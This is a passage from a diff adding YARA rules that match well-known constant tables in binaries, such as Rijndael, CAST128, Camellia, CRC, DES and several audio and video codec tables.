0000005b00000008000000a70000005c00000008000000b90000005d00000009000001940000005e00000009000001a20000005f00000009000001ba0000006000000009000001c3000000610000000a000003a6000000620000000a000003a7000000630000000a000003bb000000640000000a000003d400000065000000080000009f0000006600000009000001a000000067000000080000008f00000068000000080000008d0000006900000008000000900000006a00000008000000980000006b00000008000000a60000006c00000008000000b60000006d00000008000000c40000006e000000090000019f0000006f00000009000001af0000007000000009000001bf000000710000000a00000399000000720000000a000003bf000000730000000a000003b4000000740000000a000003c9000000750000000a000003e70000007600000008000000a80000007700000009000001b60000007800000008000000ab0000007900000008000000a40000007a00000008000000aa0000007b00000008000000b20000007c00000008000000c20000007d00000008000000c50000007e00000009000001980000007f00000009000001a40000008000000009000001b8000000810000000a0000038c000000820000000a000003a4000000830000000a000003c4000000840000000a000003c6000000850000000a000003dd000000860000000a000003e80000008700000008000000ad000000880000000a000003af0000008900000009000001920000008a00000008000000bd0000008b00000008000000bc0000008c000000090000018e0000008d00000009000001970000008e000000090000019a0000008f00000009000001a30000009000000009000001b1000000910000000a0000038d000000920000000a00000398000000930000000a000003b7000000940000000a000003d3000000950000000a000003d1000000960000000a000003db000000970000000b000007dd0000009800000008000000b4000000990000000a000003de0000009a00000009000001a90000009b000000090000019b0000009c000000090000019c0000009d00000009000001a10000009e00000009000001aa0000009f00000009000001ad000000a000000009000001b3000000a10000000a0000038b000000a20000000a000003b2000000a30000000a000003b8000000a40000000a000003ce000000a50000000a000003e1000000a60000000a000003e0000000a70000000b000007d2000000a80000000b000007e5000000a900000008000000b7000000aa0000000b000007e3000000ab00000009000001bb000000ac00000009000001a8000000ad00000009000001a6000000ae00000009000001b0000000af00000009000001b2000000b000000009000001b7000000b10000000a0000039b000000b20000000a0000039a000000b30000000a000003ba000000b40000000a000003b5000000b50000000a000003d6000000b60000000b000007d7000000b70000000a000003e4000000b80000000b000007d8000000b90000000b000007ea000000ba00000008000000ba000000bb0000000b000007e8000000bc0000000a000003a0000000bd00000009000001bd000000be00000009000001b4000000bf0000000a0000038a000000c000000009000001c4000000c10000000a00000392000000c20000000a000003aa000000c30000000a000003b0000000c40000000a000003bc000000c50000000a000003d7000000c60000000b000007d4000000c70000000b000007dc000000c80000000b000007db000000c90000000b000007d5000000ca0000000b000007f0000000cb00000008000000c1000000cc0000000b000007fb000000cd0000000a000003c8000000ce0000000a000003a3000000cf0000000a00000395000000d00000000a0000039d000000d10000000a000003ac000000d20000000a000003ae000000d30000000a000003c5000000d40000000a000003d8000000d50000000a000003e2000000d60000000a000003e6000000d70000000b000007e4000000d80000000b000007e7000000d90000000b000007e0000000da0000000b000007e9000000db0000000b000007f7000000dc0000000900000190000000dd0000000b000007f2000000de0000000a00000393000000df00000009000001be000000e000000009000001c0000000e10000000a00000394000000e20000000a00000397000000e30000000a000003ad000000e40000000a000003c3000000e50000000a000003c1000000e60000000a000003d2000000e70000000b000007da000000e80000000b000007d9000000e90000000b000007df000000ea0000000b000007eb000000eb0000000b000007f4000000ec0000000b000007fa000000ed0000000900000195000000ee0000000b000007f8000000ef0000000a000003bd000000f00000000a0000039c000000f10000000a000003ab000000f20000000a000003a8000000f30000000a000003b3000000f40000000a000003b9000000f50000000a000003d0000000f60000000a000003e3000000f70000000a000003e5000000f80000000b000007e2000000f90000000b000007de000000fa0000000b000007ed000000fb0000000b000007f1000000fc0000000b000007f9000000fd0000000b000007fc000000fe0000000900000193000000ff0000000c00000ffd000001000000000a000003dc000001010000000a000003b6000001020000000a000003c7000001030000000a000003cc000001040000000a000003cb000001050000000a000003d9000001060000000a000003da000001070000000b000007d3000001080000000b000007e1000001090000000b000007ee0000010a0000000b000007ef0000010b0000000b000007f50000010c0000000b000007f60000010d0000000c00000ffc0000010e0000000c00000fff0000010f000000090000019d0000011000000009000001c20000011100000008000000b50000011200000008000000a10000011300000008000000960000011400000008000000970000011500000008000000950000011600000008000000990000011700000008000000a00000011800000008000000a20000011900000008000000ac0000011a00000008000000a90000011b00000008000000b10000011c00000008000000b30000011d00000008000000bb0000011e00000008000000c00000011f000000090000018f000001200000000500000004 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_sfb_24_120__16_big_30_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c0024002c00340040004c005c006c0078 }
+
+condition:
+	$a0
+}
+
+	
+rule Electronic_Arts_TQI_base_table2__32_big_256_
+{
+strings:
+	$a0 = { 000000080000001000000013000000160000001a0000001b0000001d00000022000000100000001000000016000000180000001b0000001d000000220000002500000013000000160000001a0000001b0000001d00000022000000220000002600000016000000160000001a0000001b0000001d000000220000002500000028000000160000001a0000001b0000001d000000200000002300000028000000300000001a0000001b0000001d000000200000002300000028000000300000003a0000001a0000001b0000001d00000022000000260000002e00000038000000450000001b0000001d00000023000000260000002e000000380000004500000053 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Te3__0x6363a5c6U___32_big_1024_
+{
+strings:
+	$a0 = { 6363a5c67c7c84f8777799ee7b7b8df6f2f20dff6b6bbdd66f6fb1dec5c5549130305060010103026767a9ce2b2b7d56fefe19e7d7d762b5ababe64d76769aeccaca458f82829d1fc9c940897d7d87fafafa15ef5959ebb24747c98ef0f00bfbadadec41d4d467b3a2a2fd5fafafea459c9cbf23a4a4f753727296e4c0c05b9bb7b7c275fdfd1ce19393ae3d26266a4c36365a6c3f3f417ef7f702f5cccc4f8334345c68a5a5f451e5e534d1f1f108f9717193e2d8d873ab3131536215153f2a04040c08c7c7529523236546c3c35e9d181828309696a13705050f0a9a9ab52f0707090e1212362480809b1be2e23ddfebeb26cd2727694eb2b2cd7f75759fea09091b1283839e1d2c2c74581a1a2e341b1b2d366e6eb2dc5a5aeeb4a0a0fb5b5252f6a43b3b4d76d6d661b7b3b3ce7d29297b52e3e33edd2f2f715e848497135353f5a6d1d168b900000000eded2cc120206040fcfc1fe3b1b1c8795b5bedb66a6abed4cbcb468dbebed96739394b724a4ade944c4cd4985858e8b0cfcf4a85d0d06bbbefef2ac5aaaae54ffbfb16ed4343c5864d4dd79a33335566858594114545cf8af9f910e9020206047f7f81fe5050f0a03c3c44789f9fba25a8a8e34b5151f3a2a3a3fe5d4040c0808f8f8a059292ad3f9d9dbc2138384870f5f504f1bcbcdf63b6b6c177dada75af2121634210103020ffff1ae5f3f30efdd2d26dbfcdcd4c810c0c141813133526ecec2fc35f5fe1be9797a2354444cc881717392ec4c45793a7a7f2557e7e82fc3d3d477a6464acc85d5de7ba19192b32737395e66060a0c0818198194f4fd19edcdc7fa3222266442a2a7e549090ab3b8888830b4646ca8ceeee29c7b8b8d36b14143c28dede79a75e5ee2bc0b0b1d16dbdb76ade0e03bdb323256643a3a4e740a0a1e144949db9206060a0c24246c485c5ce4b8c2c25d9fd3d36ebdacacef436262a6c49191a8399595a431e4e437d379798bf2e7e732d5c8c8438b3737596e6d6db7da8d8d8c01d5d564b14e4ed29ca9a9e0496c6cb4d85656faacf4f407f3eaea25cf6565afca7a7a8ef4aeaee94708081810babad56f787888f025256f4a2e2e725c1c1c2438a6a6f157b4b4c773c6c65197e8e823cbdddd7ca174749ce81f1f213e4b4bdd96bdbddc618b8b860d8a8a850f707090e03e3e427cb5b5c4716666aacc4848d89003030506f6f601f70e0e121c6161a3c235355f6a5757f9aeb9b9d06986869117c1c158991d1d273a9e9eb927e1e138d9f8f813eb9898b32b111133226969bbd2d9d970a98e8e89079494a7339b9bb62d1e1e223c87879215e9e920c9cece49875555ffaa28287850dfdf7aa58c8c8f03a1a1f859898980090d0d171abfbfda65e6e631d74242c6846868b8d04141c3829999b0292d2d775a0f0f111eb0b0cb7b5454fca8bbbbd66d16163a2c }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_ATM_poly_0x07__8_byt_refl_False_
+{
+strings:
+	$a0 = { 00070e091c1b1215383f363124232a2d70777e796c6b6265484f464154535a5de0e7eee9fcfbf2f5d8dfd6d1c4c3cacd90979e998c8b8285a8afa6a1b4b3babdc7c0c9cedbdcd5d2fff8f1f6e3e4edeab7b0b9beabaca5a28f88818693949d9a2720292e3b3c35321f18111603040d0a5750595e4b4c45426f68616673747d7a898e878095929b9cb1b6bfb8adaaa3a4f9fef7f0e5e2ebecc1c6cfc8dddad3d4696e676075727b7c51565f584d4a4344191e171005020b0c21262f283d3a33344e49404752555c5b7671787f6a6d64633e39303722252c2b0601080f1a1d1413aea9a0a7b2b5bcbb9691989f8a8d8483ded9d0d7c2c5cccbe6e1e8effafdf4f3 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Td1__0x5051f4a7U___32_big_1024_
+{
+strings:
+	$a0 = { 5051f4a7537e4165c31a17a4963a275ecb3bab6bf11f9d45abacfa58934be303552030faf6ad766d9188cc7625f5024cfc4fe5d7d7c52acb802635448fb562a349deb15a6725ba1b9845ea0ee15dfec002c32f7512814cf0a38d4697c66bd3f9e7038f5f9515929cebbf6d7ada9552592dd4be83d35874212949e069448ec9c86a75c28978f48e796b99583edd27b971b6bee14f17f088ad66c920acb47dce3a1863df4a82e51a31609751334562537fe0b1647784bb6bae1cfe81a094f9082b58704868198f45fd8794de6cb7527bf823ab73d3e2724b0257e31f8f2a6655ab07b2eb28032fb5c29a86c57ba5d33708f2302887b223bfa5ba02036a5ced16822b8acf1c92a779b4f0f307f2a14e69e2cd65daf4d50605be1fd134628ac4a6fe9d342e53a0a2f35532058ae175a4f6eb390b83ecaa4060ef065e719f51bd6e10f93e218a3d96dd06aedd3e05464de6bdb591548d0571c45d6f0406d4ff605015241998fb97d6bde9cc8940437767d99ebdb0e8428807898b38e7195bdb79c8ee47a17c0ae97c420fc9f8841e000000008309808648322bedac1e11704e6c5a72fbfd0eff560f85381e3daed527362d39640a0fd921685ca6d19b5b543a24362eb10c0a670f9357e7d2b4ee969e1b9b914f80c0c5a261dc20695a774b161c121a0ae293bae5c0a02a433c22e01d121b170b0e090dadf28bc7b92db6a8c8141ea98557f1194caf7507bbee99ddfda37f609ff70126bc5c72f5c544663b345bfb7e768b4329dccb23c668b6edfc63b8e4f1cad731dc10426385401397222084c6117d854a24f8d2bb3d11aef9326dc729a14b1d9e2ff3dcb230ec0d8652d077c1e36c2bb31699a970b9fa1194482247e964c4a8fc8c1aa0f03fd8567d2cef223390c787494ec1d938d1fe8ccaa23698d40bcfa6f58128a57ade26dab78ea43fadbfe42c3a9d0d5078929b6a5fcc62547e46c2f68d13e890d8b85e2e39f7f582c3afbe9f5d807c69d093a96fd52db3cf25123bc8ac99a710187d6ee89c637bdb3bbb09cd2678f46e591801ec9ab7a8834f9a65e6956e7eaaffe60821bccfe6ef15e8d9bae79bce4a6f36d4ea9f09d629b07caf31a4b2312a3f2330c6a594c035a26637744ebca6fc82cab0e090d01533a7d84af10498f741ecda0e7fcd502f1791f68d764dd64d43efb054ccaa4ddfe49604e39ed1b51b4c6a88b8c12c1f7f466551049d5eea5d018c3573fa87742efb0b415ab3671d5292dbd233e91056136dd6478c9ad7617a37a10c8e59f81489eb133ceecea92735b761c9ede11ce53c7a47b1599cd2df3f55f273791814cebf73c737ea53f7cd5b5ffdaa14df3d6f867844db81caaff33eb968c42c3824345fc2a34072161dc30cbce2258b283c4941ff0d957139a801de080cb39cd8b4e4906456c1617bcb8470d532b674486c5c42d0b857 }
+
+condition:
+	$a0
+}
+
+	
+rule gc_pqf_common_c_a_half__flt32___32_big_192_
+{
+strings:
+	$a0 = { 374ccc493790cdd6374e5c80b735c36eb87250c0b905d92ab95bd5ffb993acabb9a3c2b8b98c2fd6b8fa98fc39126f633a00182b3a642ea93a9c9fa23ab1349d3aa1d35b3a49ba6db85b1ee3ba96f198bb1a4300bb5f0a1bbb832a62bb7dec05bb399ae0ba5eeca23af728c23ba2d1f03bffc6b63c1ef8743c23c6713c06616a3b8873e7baf0b4e2bc141629bc850cf4bcb3ba93bcc8f9cfbcb91227bc77c28bbaeb8f103c8a79073d227f703d8412093db5f7013de183143e00dfe03e097200 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128_sbox5__32_big_1024_
+{
+strings:
+	$a0 = { 7ec90c042c6e74b99b0e66dfa6337911b86a7fff1dd358f544dd9d441731167f08fbf1fae7f511ccd2051b00735aba002ab722d8386381cbacf6243a69befd7ae6a2e77ff0c720cdc4494816ccf5c1803885164015b0a848e68b18cb4caadeff5f480a010412b2aa259814fc41d0efe24e40b48d248eb6fb8dba1cfe41a99b021a550a04ba8f65cb7251f4e795a51725c106ecd797a5980ac539b9aa4d79fe6af2f3f76368af8040ed0c9e5611b4958be1eb5a888709e6b0d7e071564e29fea76366e52d02d1c000c4ac8e059377f5710c05372a578535f22261be02d642a0c9df13a28074b55bd2682199c0d421e5ec53fb3ce8c8adedb328a87fc93d9599815c1ff900fe38d3990c4eff0b062407eaaa2f4fb14fb9697690c79505b0a8a774ef55a1ffe59ca2c2a6b62d27e66a4263df65001f0ec50966dfdd55bc29de0655911e739a17af897532c7911c89f894680d01e980524755f403b63cc90cc844b2bcf3f0aa87ac36e9e53a742601b3d82b1a9e744964ee2d7ecddbb1da01c94910b868bf800d26f3fd9342ede704a5c284636737b650f5b616f24766e38eca36c1136e05dbfef18391fb887a37d6e7f7d4c7fb7dc93063fcdfb6f589deec2941da26e46695b7566419f654efc5d08d58b748925401c1bacb7fe5ff550fb60830495bb5d0e887d72e5aab6a6ee1223a66cec62bf3cd9e0885f968cb3e47086c010fa21de820d18b69def3f65777fa02c3f6407edac3cbb3d5501793084db0d70eba0ab378d5d951fb0cded7da564124bbe494ca0b560f5755d1e0e1e56e6184b5be580a249f94f74bc0e327888e9f7b5561c3dc028005687715646c6bd744904db366b4f0a3c0f1648a697ed5af49e92ff6309e374f2cb6356a858085734991f84076f0ae02083be84d28421c9a44489406736e4cb8c10929108bc95fc67d869cf4134f616f2e77118db31b2be1aa90b4723ca5d7177d161bba9cad9010af462ba29fe459d245d34559d9f2da13dbc65487f3e4f94e176d486f097c13ea631da5c7445f7382175683f4cdc66a9770be0288b3cdcf726e5dd2f320936079459b80a5be60e2dba9c23101eba5315c224e42f21c5c1572f6721b2c1ad2fff38c25404e324ed72f4067b7fd0523138e5ca3bc78dc0fd66e75922283784d6b1758ebb16e44094f853f481d87fcfeae7b77b5ff768c2302bfaaf475565f46b02a2b0928013d38f5f70ca81f3652af4a8a66d5e7c0df3b0874950551101b5ad7a8f61ed5ad6cf6e47920758184d0cefa6588f7be584a0468260ff6f8f3a09c7f705346aba05ce96c28e176eda36bac307f376829d285360fa917e3fe2a24b79767f5a96b20d6cd259568ff1ebf7555442cf19f06bef9e0659aeeb9491d34010718bb30cab8e822fe1588570983750e6249da627e555e76ffa8b15345466d47de08efe9e7d4 }
+
+condition:
+	$a0
+}
+
+	
+rule Generic_squared_map__16_big_32_
+{
+strings:
+	$a0 = { 0000000100040005001000110014001500400041004400450050005100540055 }
+
+condition:
+	$a0
+}
+
+	
+rule celptb2__32_big_320_
+{
+strings:
+	$a0 = { 000000500000000000000000000000000000003c000000000000000000000000000000280000000000000000000000000000001400000000000000000000000000000170000000150000000000000000000001a0000000150000000000000000000001d0000000150000000000000000000001f00000001500000000000000000000011c00000015000000000000000000000140000000150000000000000000000001640000001500000000000000000000017c000000150000000000000000000000c8000000150000000000000000000000e0000000150000000000000000000000f80000001500000000000000000000010800000015000000000000000000000074000000150000000000000000000000800000001500000000000000000000008c00000015000000000000000000000094000000150000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_eac3_gaq_remap_1__16_big_24_
+{
+strings:
+	$a0 = { 124908890421020801020081004000200010000800020000 }
+
+condition:
+	$a0
+}
+
+	
+rule Crypton_v1_p1__8_byt_16_
+{
+strings:
+	$a0 = { 0b0a0d07080e00050f0603040109020c }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab_c1__16_big_62_
+{
+strings:
+	$a0 = { FFF1FFF9FFFDFFFF000F000EFFFF000D000CFFFDFFFF000B000AFFFF00090008FFF9FFFDFFFF00070006FFFF00050004FFFDFFFF00030002FFFF00010000 }
+
+condition:
+	$a0
+}
+
+	
+rule DES__32_lil_AND_
+{
+strings:
+	$a0 = { 0f0f0f0f[0-20]ffff0000[0-20]33333333[0-20]ff00ff00[0-20]55555555 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_ATM_poly_0x07__8_byt_refl_True_
+{
+strings:
+	$a0 = { 0091e3720796e4750e9fed7c0998ea7b1c8dff6e1b8af8691283f1601584f66738a9db4a3faedc4d36a7d54431a0d24324b5c75623b2c0512abbc9582dbcce5f70e1930277e694057eef9d0c79e89a0b6cfd8f1e6bfa881962f3811065f4861748d9ab3a4fdeac3d46d7a53441d0a23354c5b72653c2b0215acbb9285dccbe2fe0710392e7760495ee7f0d9ce9780a9bfc6d1f8efb6a1889f2631180f5641687d8493baadf4e3cadd64735a4d14032a3c45527b6c35220b1ca5b29b8cd5c2ebf900173e2970674e59e0f7dec99087aeb8c1d6ffe8b1a68f9821361f0851466f7a8394bdaaf3e4cdda63745d4a13042d3b42557c6b32250c1ba2b59c8bd2c5ecf }
+
+condition:
+	$a0
+}
+
+	
+rule camellia_sp0222__32_lil_1024_
+{
+strings:
+	$a0 = { e0e0e0000505050058585800d9d9d900676767004e4e4e0081818100cbcbcb00c9c9c9000b0b0b00aeaeae006a6a6a00d5d5d500181818005d5d5d008282820046464600dfdfdf00d6d6d600272727008a8a8a00323232004b4b4b0042424200dbdbdb001c1c1c009e9e9e009c9c9c003a3a3a00cacaca00252525007b7b7b000d0d0d00717171005f5f5f001f1f1f00f8f8f800d7d7d7003e3e3e009d9d9d007c7c7c0060606000b9b9b900bebebe00bcbcbc008b8b8b0016161600343434004d4d4d00c3c3c3007272720095959500ababab008e8e8e00bababa007a7a7a00b3b3b30002020200b4b4b400adadad00a2a2a200acacac00d8d8d8009a9a9a00171717001a1a1a0035353500cccccc00f7f7f70099999900616161005a5a5a00e8e8e800242424005656560040404000e1e1e100636363000909090033333300bfbfbf0098989800979797008585850068686800fcfcfc00ececec000a0a0a00dadada006f6f6f005353530062626200a3a3a3002e2e2e0008080800afafaf0028282800b0b0b00074747400c2c2c200bdbdbd00363636002222220038383800646464001e1e1e00393939002c2c2c00a6a6a60030303000e5e5e50044444400fdfdfd00888888009f9f9f0065656500878787006b6b6b00f4f4f400232323004848480010101000d1d1d10051515100c0c0c000f9f9f900d2d2d200a0a0a00055555500a1a1a10041414100fafafa004343430013131300c4c4c4002f2f2f00a8a8a800b6b6b6003c3c3c002b2b2b00c1c1c100ffffff00c8c8c800a5a5a5002020200089898900000000009090900047474700efefef00eaeaea00b7b7b7001515150006060600cdcdcd00b5b5b500121212007e7e7e00bbbbbb00292929000f0f0f00b8b8b80007070700040404009b9b9b00949494002121210066666600e6e6e600cecece00ededed00e7e7e7003b3b3b00fefefe007f7f7f00c5c5c500a4a4a40037373700b1b1b1004c4c4c00919191006e6e6e008d8d8d0076767600030303002d2d2d00dedede0096969600262626007d7d7d00c6c6c6005c5c5c00d3d3d300f2f2f2004f4f4f00191919003f3f3f00dcdcdc00797979001d1d1d0052525200ebebeb00f3f3f3006d6d6d005e5e5e00fbfbfb0069696900b2b2b200f0f0f000313131000c0c0c00d4d4d400cfcfcf008c8c8c00e2e2e20075757500a9a9a9004a4a4a00575757008484840011111100454545001b1b1b00f5f5f500e4e4e4000e0e0e0073737300aaaaaa00f1f1f100dddddd0059595900141414006c6c6c009292920054545400d0d0d0007878780070707000e3e3e300494949008080800050505000a7a7a700f6f6f600777777009393930086868600838383002a2a2a00c7c7c7005b5b5b00e9e9e900eeeeee008f8f8f00010101003d3d3d00 }
+
+condition:
+	$a0
+}
+
+	
+rule libdjvu_MMR_bcodes__16_lil_630_
+{
+strings:
+	$a0 = { B8010A000000000803000100001802000200001002000300000C03000400000604000500000404000600000305000700800206000800000206000900000107000A00400107000B00C00107000C00800008000D00E00008000E00800109000F00B8000A001000C0000A00110040000A0012009C010B001300A0010B001400B0010B001500DC000B001600A0000B0017005C000B00180060000B00190094010C001A0096010C001B0098010C001C009A010C001D00D0000C001E00D2000C001F00D4000C002000D6000C002100A4010C002200A6010C002300A8010C002400AA010C002500AC010C002600AE010C002700D8000C002800DA000C002900B4010C002A00B6010C002B00A8000C002C00AA000C002D00AC000C002E00AE000C002F00C8000C003000CA000C003100A4000C003200A6000C00330048000C0034006E000C00350070000C0036004E000C00370050000C003800B0000C003900B2000C003A0056000C003B0058000C003C00B4000C003D00CC000C003E00CE000C003F0078000A00400090010C00800092010C00C000B6000C00000166000C00400168000C0080016A000C00C0016C000D0000026D000D0040024A000D0080024B000D00C0024C000D0000034D000D00400372000D00800373000D00C00374000D00000475000D00400476000D00800477000D00C00452000D00000553000D00400554000D00800555000D00C0055A000D0000065B000D00400664000D00800665000D00C00620000B00000730000B00400734000B00800724000C00C00726000C00000828000C0040082A000C0080082C000C00C0082E000C00000938000C0040093A000C0080093C000C00C0093E000C00000A00000000FFFF }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_CHAR2_191V3_SEED__8_byt_20_
+{
+strings:
+	$a0 = { e053512dc684d696e676875615175067ae786d1f }
+
+condition:
+	$a0
+}
+
+	
+rule lms_order_table__16_lil_64_
+{
+strings:
+	$a0 = { 020003000400050006000700080009000a000c000e0010001200140018001c00200024003000400050006000800000018001c001000280020003800300040000 }
+
+condition:
+	$a0
+}
+
+	
+rule ICE__block_cipher__ice_pbox__32_lil_128_
+{
+strings:
+	$a0 = { 0100000080000000000400000020000000000800000020000000000100000040080000002000000000010000004000000000010000008000000000040000002004000000100000000002000000800000000002000000400000000008000000100200000040000000000800000010000000000400000010000000000200000080 }
+
+condition:
+	$a0
+}
+
+	
+rule SDX2___2_1_Squareroot_delta_exact_compression__32_lil_1024_
+{
+strings:
+	$a0 = { 0080FFFFFE81FFFFF883FFFFEE85FFFFE087FFFFCE89FFFFB88BFFFF9E8DFFFF808FFFFF5E91FFFF3893FFFF0E95FFFFE096FFFFAE98FFFF789AFFFF3E9CFFFF009EFFFFBE9FFFFF78A1FFFF2EA3FFFFE0A4FFFF8EA6FFFF38A8FFFFDEA9FFFF80ABFFFF1EADFFFFB8AEFFFF4EB0FFFFE0B1FFFF6EB3FFFFF8B4FFFF7EB6FFFF00B8FFFF7EB9FFFFF8BAFFFF6EBCFFFFE0BDFFFF4EBFFFFFB8C0FFFF1EC2FFFF80C3FFFFDEC4FFFF38C6FFFF8EC7FFFFE0C8FFFF2ECAFFFF78CBFFFFBECCFFFF00CEFFFF3ECFFFFF78D0FFFFAED1FFFFE0D2FFFF0ED4FFFF38D5FFFF5ED6FFFF80D7FFFF9ED8FFFFB8D9FFFFCEDAFFFFE0DBFFFFEEDCFFFFF8DDFFFFFEDEFFFF00E0FFFFFEE0FFFFF8E1FFFFEEE2FFFFE0E3FFFFCEE4FFFFB8E5FFFF9EE6FFFF80E7FFFF5EE8FFFF38E9FFFF0EEAFFFFE0EAFFFFAEEBFFFF78ECFFFF3EEDFFFF00EEFFFFBEEEFFFF78EFFFFF2EF0FFFFE0F0FFFF8EF1FFFF38F2FFFFDEF2FFFF80F3FFFF1EF4FFFFB8F4FFFF4EF5FFFFE0F5FFFF6EF6FFFFF8F6FFFF7EF7FFFF00F8FFFF7EF8FFFFF8F8FFFF6EF9FFFFE0F9FFFF4EFAFFFFB8FAFFFF1EFBFFFF80FBFFFFDEFBFFFF38FCFFFF8EFCFFFFE0FCFFFF2EFDFFFF78FDFFFFBEFDFFFF00FEFFFF3EFEFFFF78FEFFFFAEFEFFFFE0FEFFFF0EFFFFFF38FFFFFF5EFFFFFF80FFFFFF9EFFFFFFB8FFFFFFCEFFFFFFE0FFFFFFEEFFFFFFF8FFFFFFFEFFFFFF000000000200000008000000120000002000000032000000480000006200000080000000A2000000C8000000F2000000200100005201000088010000C2010000000200004202000088020000D20200002003000072030000C80300002204000080040000E204000048050000B20500002006000092060000080700008207000000080000820800000809000092090000200A0000B20A0000480B0000E20B0000800C0000220D0000C80D0000720E0000200F0000D20F0000881000004211000000120000C2120000881300005214000020150000F2150000C8160000A21700008018000062190000481A0000321B0000201C0000121D0000081E0000021F0000002000000221000008220000122300002024000032250000482600006227000080280000A2290000C82A0000F22B0000202D0000522E0000882F0000C2300000003200004233000088340000D23500002037000072380000C8390000223B0000803C0000E23D0000483F0000B2400000204200009243000008450000824600000048000082490000084B0000924C0000204E0000B24F000048510000E25200008054000022560000C857000072590000205B0000D25C0000885E00004260000000620000C2630000886500005267000020690000F26A0000C86C0000A26E00008070000062720000487400003276000020780000127A0000087C0000027E0000 }
+
+condition:
+	$a0
+}
+
+	
+rule Lucifer__outerbridge__TCB0__8_byt_256_
+{
+strings:
+	$a0 = { 57157536173714547476163555773456df9dfdbe9fbf9cdcfcfe9ebdddffbcdecf8dedae8faf8cccecee8eadcdefacced391f1b293b390d0f0f292b1d1f3b0d2d795f5b697b794d4f4f696b5d5f7b4d65f1d7d3e1f3f1c5c7c7e1e3d5d7f3c5edb99f9ba9bbb98d8f8fa9ab9d9fbb8da43016122032300406062022141632042c381e1a283a380c0e0e282a1c1e3a0c2c785e5a687a784c4e4e686a5c5e7a4c6cb89e9aa8bab88c8e8ea8aa9c9eba8ca4b09692a0b2b0848686a0a29496b284a5b19793a1b3b1858787a1a39597b385a470565260727044464660625456724464f0d6d2e0f2f0c4c6c6e0e2d4d6f2c4e53117132133310507072123151733052 }
+
+condition:
+	$a0
+}
+
+	
+rule Ventrilo_encryption_decryption_algorithm__32_big_44_
+{
+strings:
+	$a0 = { 000000aa0000005500000022000000cc000000690000007c000000380000009100000088000000f5000000e1 }
+
+condition:
+	$a0
+}
+
+	
+rule ICE__block_cipher__ice_pbox__64_big_256_
+{
+strings:
+	$a0 = { 00000000000000010000000000000080000000000000040000000000000020000000000000080000000000000020000000000000010000000000000040000000000000000000000800000000000000200000000000000100000000000000400000000000000100000000000000800000000000000400000000000000200000000000000000000004000000000000001000000000000002000000000000008000000000000002000000000000004000000000000008000000000000001000000000000000000000020000000000000040000000000000080000000000000010000000000000040000000000000010000000000000020000000000000080000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_wma_lsp_codebook__flt64___64_lil_1088_
+{
+strings:
+	$a0 = { 6acc984019ccff3f1f255dd0ceabff3fbe6a0298748cff3f3a00a803d566ff3fe2339f94c534ff3f35843a170ceffe3f60511918dc83fe3fae5ae37d66cafd3f006f8104c58fff3fe569aff4905fff3f6d85d9997c32ff3ffce916ec4c02ff3f0e7f8ff27acdfe3f3b31b11ac78ffe3f18899ecef446fe3fc8ce3e03a8f1fd3fca59d062c687fd3f9eec242a6d04fd3fee1dda6c516bfc3f8a0c82f9f1b8fb3f41a43a7881ddfa3f3f460e4be2c0f93f7fbdc282fb21f83f873cddd49b4cf53f76775380de6afe3f65cc97f651d6fd3fbe173ea6de58fd3f57c0b125b3d3fc3fadbc68b89643fc3f4c69a2748ea6fb3f29081edfdef5fa3f25da230eb832fa3fdd4a0a87395cf93f02aa4dd68749f83f07fad90221fdf63f98cfa8af9d6ef53ffc3430ea41def33faad1cc0f33f6f13fa0d5f298bbf5ee3f5b2ca0ab08b2e73f6d4231e49e4ffc3f3511d31102dafa3fad403e326797f93ffd278768d791f83f309db55f6798f73f876eb4ebf797f63fb73853b68285f53f239a4882d35ff43f06e42229af16f33fa32fef37fb8ff13f7d3407ce3a9fef3faa2b5dc9a7eaeb3f7697f69352cce73fc1d186aa3520e33f51662893bfa0db3fdf5d5fd2b502c73f47e2ab3ed3f2f63f98a0a77d4a20f53f3a18dace315ff33f00cc523e46b1f13f11c96f550217f03f7ddc0aa351e8ec3f4fc1c86870bde93fefe4914789a0e63f4364a2523656e33fc07a9a9b88e1df3fbffb782267a5d83f067fbf982d59d13faa07b3a60571c23fea8c94d2d803623f307714847e68c5bf870ecbb09ba3d7bffa76d86574f7ef3f8dab99ceb1f0ea3f0be9d77325a4e63ffd44af50b587e23f841d735c951dde3f97b844e4aaa8d73f6aa28d2b472bd13fb2b0f1aa18f8c53fcaacf77e1774b23f3259fd8d4d5d9fbfb05c0c71ee67f6bf0d075b4f2115d0bf0d0feda521d1d7bfa3767dee1d58e0bf84d172c195c3e4bf8d5e707ad5b2e9bf4f571c7343f8d03f6491aa16a629b03fc596790668b6b6bf0ea572ea3503cbbff4a344bf74e2d3bfc504f35f3965d9bfac71150f1839debff3c3ad275f55e1bf649703988da9e3bfb6cf53b2d60fe6bfa70c356d7381e8bf540bfc132241ebbf19b2d372147eeebf2781b49cd70af1bf0e41dd591e48f3bfdc1303a8d204f6bff80bea19ca42e1bf122c5083509be7bf4e50370ec44becbf57467e58ca2df0bf29e87acb6a24f2bfa07ccdb4f54af4bf30d1832f0abaf6bf53a257c9e8ecf9bf043794d21aa0f1bffbe2d6cd5aa4f2bf80cff685e3bbf3bfb896031cc6ddf4bfdbd84f73b006f6bf4eb27a2c227ff7bf5b8ba2495a38f9bf294633a2f6b3fabf882fb01a8db4d8bf3a78263449ece1bf169f8698e06ee5bfbb29a3994054e8bf37107968abd4eabf94d364e7e913edbf942fcb4bbc2befbf79fe177c5897f0bfe6483ee1b2fbf8bf3905014b118dfabff30b65975ea1fbbfb27966930d75fcbfc06f6c0b0927fdbf732a3a0e93cbfdbfea04762d0872febf675e2fc9d82bffbf }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_12_poly_0xe03__16_big_refl_True_
+{
+strings:
